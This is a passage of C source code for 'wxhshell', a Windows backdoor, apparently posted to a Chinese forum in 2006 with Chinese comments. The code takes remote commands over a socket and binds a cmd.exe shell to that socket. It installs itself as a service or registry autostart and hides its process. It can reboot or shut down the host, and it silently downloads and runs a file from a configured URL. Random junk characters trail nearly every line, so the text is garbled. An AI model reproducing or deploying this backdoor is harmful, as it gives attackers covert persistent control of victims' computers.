  // 帮助 !b->u_  
  case '?': { 7 eQoc2X2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j4xr1y3^  
    break; ^s~n[  
  } 6q[!X0u  
  // 安装 , ."(Gp  
  case 'i': { nl9Cdi]o  
    if(Install()) : KP'xf.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B=bI'S8\  
    else F2`htM@,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '#i]SU&*  
    break; AOx3QgC^NO  
    } FT/5 _1i  
  // 卸载 9>&tMq  
  case 'r': { EhPVK6@  
    if(Uninstall()) C$td{tM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+_/)c  
    else Ipz 1+ #s'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2Y_L8u2  
    break; Ym.l@(  
    } vMX6Bg8  
  // 显示 wxhshell 所在路径 EPe]-C`  
  case 'p': { mOgOHb2  
    char svExeFile[MAX_PATH]; q$?7 ~*M;x  
    strcpy(svExeFile,"\n\r"); uz#PBV8Q  
      strcat(svExeFile,ExeFile); q_]   
        send(wsh,svExeFile,strlen(svExeFile),0); )ehB)X  
    break; y+";  
    } Qyv'nx0=  
  // 重启 n;kciTD%wK  
  case 'b': { ('* *nP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !P~ PF:W~|  
    if(Boot(REBOOT)) *pTO|x{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KM5DYy2 A6  
    else { <duBwkiG  
    closesocket(wsh); /iTUex7T  
    ExitThread(0); >1r[]&8  
    } YNg\"XjJM<  
    break; ~1=.?Ho  
    } ?z@v3(b[  
  // 关机 %O&m#)|  
  case 'd': { sUbz)BS#.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :PD`PgQ  
    if(Boot(SHUTDOWN)) `\ef0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }(+=/$C"#  
    else { uZo`IKJ  
    closesocket(wsh); c{,y{2c]LT  
    ExitThread(0); =X`]Ct8 Z  
    } /NW>;J}C  
    break; &,N3uy;Gc  
    } (~G5t(+  
  // 获取shell Gf H*,1x  
  case 's': { ii_|)udz  
    CmdShell(wsh); :m* !?QGdL  
    closesocket(wsh); G9i&#)nWr  
    ExitThread(0); $m:2&lU3  
    break; &Mhv XHI  
  } [+%d3+27  
  // 退出 {1Ju} =69  
  case 'x': { FDVI>HK @  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q7 uAf3  
    CloseIt(wsh); pHj[O?F  
    break; 0q[p{_t`  
    } ~m?74^ i  
  // 离开 _K0izKTA.  
  case 'q': { QiTR-M2C!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .'^6QST  
    closesocket(wsh); .DDg%z  
    WSACleanup(); )IFl 0<d  
    exit(1); p.rdSv(8'  
    break; mUrS &&fu8  
        } ?w]"~   
  } A6^p}_  
  } ?kL|>1TY  
1V|< A  
  // 提示信息 ( zn_8s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5q5 )uv"  
} Q7~'![(a  
  } @<D'-mMt  
dGbU{#"3s  
  return; ; x:k-s2-  
} I.^X2  
E-UB -"6  
// shell模块句柄 2BoFyL*  
int CmdShell(SOCKET sock) Js\-['`  
{ /S:w&5e  
STARTUPINFO si; MU_!&(X_  
ZeroMemory(&si,sizeof(si)); S}oG.r 9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7?6xPKQ)H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e[x?6He,$  
PROCESS_INFORMATION ProcessInfo; A Gv!c($  
char cmdline[]="cmd"; 0+T*$=?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZYE' C  
  return 0; \%sPNw=e  
} &Ki> h  
j0g5<M  
// 自身启动模式 PD6MyW05%9  
int StartFromService(void) !oZQ2z~  
{ %04:z77  
typedef struct i{o#3  
{ [J a)<!]<  
  DWORD ExitStatus; _1I K$gb[  
  DWORD PebBaseAddress; @%6)^]m}r  
  DWORD AffinityMask; cC^W2\  
  DWORD BasePriority; 9@:BK;Fi  
  ULONG UniqueProcessId; QCeMKjCmY  
  ULONG InheritedFromUniqueProcessId; H@K#|A=a  
}   PROCESS_BASIC_INFORMATION; 'e}uvbK  
=yl4zQmg$  
PROCNTQSIP NtQueryInformationProcess; v1 LKU  
`wNm%*g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ).pO2lLF4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /8f>':zUb  
an3~'g?  
  HANDLE             hProcess; AXz-4,=xX  
  PROCESS_BASIC_INFORMATION pbi; !Tv?%? 2l  
T>d\%*Q+B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5\okU"{d7  
  if(NULL == hInst ) return 0; I[}75:^Rt  
"gFxfWIA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7=}6H3|&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); + c`AE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z)}3**3'y  
j7K5SS_]  
  if (!NtQueryInformationProcess) return 0; k/%#>  
59V#FWe-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OkLz^R?d  
  if(!hProcess) return 0; 3)}(M  
Eu|sWdmf l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TI}}1ScA'  
{S G*  
  CloseHandle(hProcess); *D2Nm9sl  
t5xb"F   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rv98\VD"  
if(hProcess==NULL) return 0; }*NF&PD5RU  
*P`v^&  
HMODULE hMod; xdPcsox~  
char procName[255]; YQ; cJ$  
unsigned long cbNeeded; N1%p"(  
f0vJm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WP}ixcq#  
C@1CanL@3  
  CloseHandle(hProcess); Bp :~bHf  
=-_)$GOI'  
if(strstr(procName,"services")) return 1; // 以服务启动 <0#^7Z  
;(7-WnU8N  
  return 0; // 注册表启动 C\7u<2c  
} ~8TF*3[}[  
sI'a1$  
// 主模块 ^ oYPyk`9  
int StartWxhshell(LPSTR lpCmdLine) N#4N?BBP"  
{ ]nQ+nH  
  SOCKET wsl; X/l;s  
BOOL val=TRUE; o+NMA (  
  int port=0; mb&lCd ^-  
  struct sockaddr_in door; wqUQ"d  
>)Ioo$B  
  if(wscfg.ws_autoins) Install(); +]c/&Xo!  
WSRy%#  
port=atoi(lpCmdLine); n0Go p^3  
Jy]Id*u9  
if(port<=0) port=wscfg.ws_port; 6JhMkB^h  
@D)Z{=>{=5  
  WSADATA data; L7]]ZAH!1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pE2QnNr'  
D?^Y`G$.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (ew} gJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  A^ViDP  
  door.sin_family = AF_INET; Y&K <{\vE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <?YA,"~  
  door.sin_port = htons(port); 9t?L\  
Vo\H<_=G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >)NQH9'1  
closesocket(wsl); eX"''PA  
return 1; WWNu:,  
} kx:jI^  
?R|th Z  
  if(listen(wsl,2) == INVALID_SOCKET) { W m . }Zh  
closesocket(wsl); }x:0os  
return 1; -p`L% xj\  
} A?8\Y{FQ  
  Wxhshell(wsl); ,X68xk.'  
  WSACleanup(); Z.'syGuV  
g\Ak;03n  
return 0; z<B CLP  
='}#`',  
} RP! X8~8  
)u*^@Wo  
// 以NT服务方式启动 GKZN}bOm\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?iv=53<c#  
{ hJ f2o  
DWORD   status = 0; E =AVrv5T  
  DWORD   specificError = 0xfffffff; 'N\&<dT>  
gzf-)J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (u&`Ij9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e4\dpvL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^2S# Uk  
  serviceStatus.dwWin32ExitCode     = 0; RNWX.g)b  
  serviceStatus.dwServiceSpecificExitCode = 0; b*EXIzQ  
  serviceStatus.dwCheckPoint       = 0; r8[T&z@_  
  serviceStatus.dwWaitHint       = 0; w2dcH4&  
C5*xQlCq}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); | kXm}K  
  if (hServiceStatusHandle==0) return; };b1ahaG  
irKIy  
status = GetLastError(); k_ Y~;P@  
  if (status!=NO_ERROR) Dz;HAyPj  
{  \S4SI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mrM4RoO  
    serviceStatus.dwCheckPoint       = 0; Qhn;`9+L  
    serviceStatus.dwWaitHint       = 0; Zgamd1DJ[l  
    serviceStatus.dwWin32ExitCode     = status; })Yv9],6  
    serviceStatus.dwServiceSpecificExitCode = specificError; P`(Mk6gE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lr~0pL  
    return; !l 6dg&  
  } N|K4{Frm  
uwmQ?LS]V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TTZe$>f  
  serviceStatus.dwCheckPoint       = 0; QR0(,e$Dl  
  serviceStatus.dwWaitHint       = 0; w5,Mb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [sy j#  
} 3^,QIG  
iPj~I  
// 处理NT服务事件,比如:启动、停止 ^YlI>_3s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TQ ]dW  
{ Z9K})47T  
switch(fdwControl) gb" 4B%Hm  
{ DHw<%Z-J  
case SERVICE_CONTROL_STOP: W0I4Vvh_"  
  serviceStatus.dwWin32ExitCode = 0; 8)j@aiF`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eE(b4RCM  
  serviceStatus.dwCheckPoint   = 0; skg|>R,kE  
  serviceStatus.dwWaitHint     = 0; n V&cC  
  { Bp?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &7>zURv  
  } 56}X/u  
  return; h8{(KRa6  
case SERVICE_CONTROL_PAUSE: B&0; 4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =&nW~<- v  
  break; ,Nm$i"Lg  
case SERVICE_CONTROL_CONTINUE: ZDt?j   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k N7Bd}  
  break; Bc5+ss  
case SERVICE_CONTROL_INTERROGATE: vXE0%QE'Q  
  break; &,:h)  
}; b:W-l?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fhf<T`  
} 'b&yrBFD  
g>JLDQdc  
// 标准应用程序主函数 ;i<jhNA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?-)I+EAnE  
{ Na{Y}0=^y  
L2UsqVU  
// 获取操作系统版本 1q7tiMvV-  
OsIsNt=GetOsVer(); ino:N5&;;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xc @Ss[  
j<<3Pr  
  // 从命令行安装 O`[aU%4b  
  if(strpbrk(lpCmdLine,"iI")) Install(); W?woNt'n  
4rg2y]  
  // 下载执行文件 Xf[kI  
if(wscfg.ws_downexe) { ^teq[l$;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6%G-Vs]*2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~`ny @WD9  
} WKfkKk;G  
cVnJ^*Z  
if(!OsIsNt) { /]^#b  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ifc]K?  
HideProc(); $sHP\{  
StartWxhshell(lpCmdLine); )!:sFa 1  
} c2nKPEX&5  
else zAzP,1$?  
  if(StartFromService()) mHc>"^R  
  // 以服务方式启动 FS6`6M.K  
  StartServiceCtrlDispatcher(DispatchTable);  as yZe  
else {i0SS  
  // 普通方式启动 ]:M0Kj&h  
  StartWxhshell(lpCmdLine); : rMM4  
MRNNG6TUs  
return 0; ED>prE0  
}
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只看该作者 1 发表于: 2006-10-10
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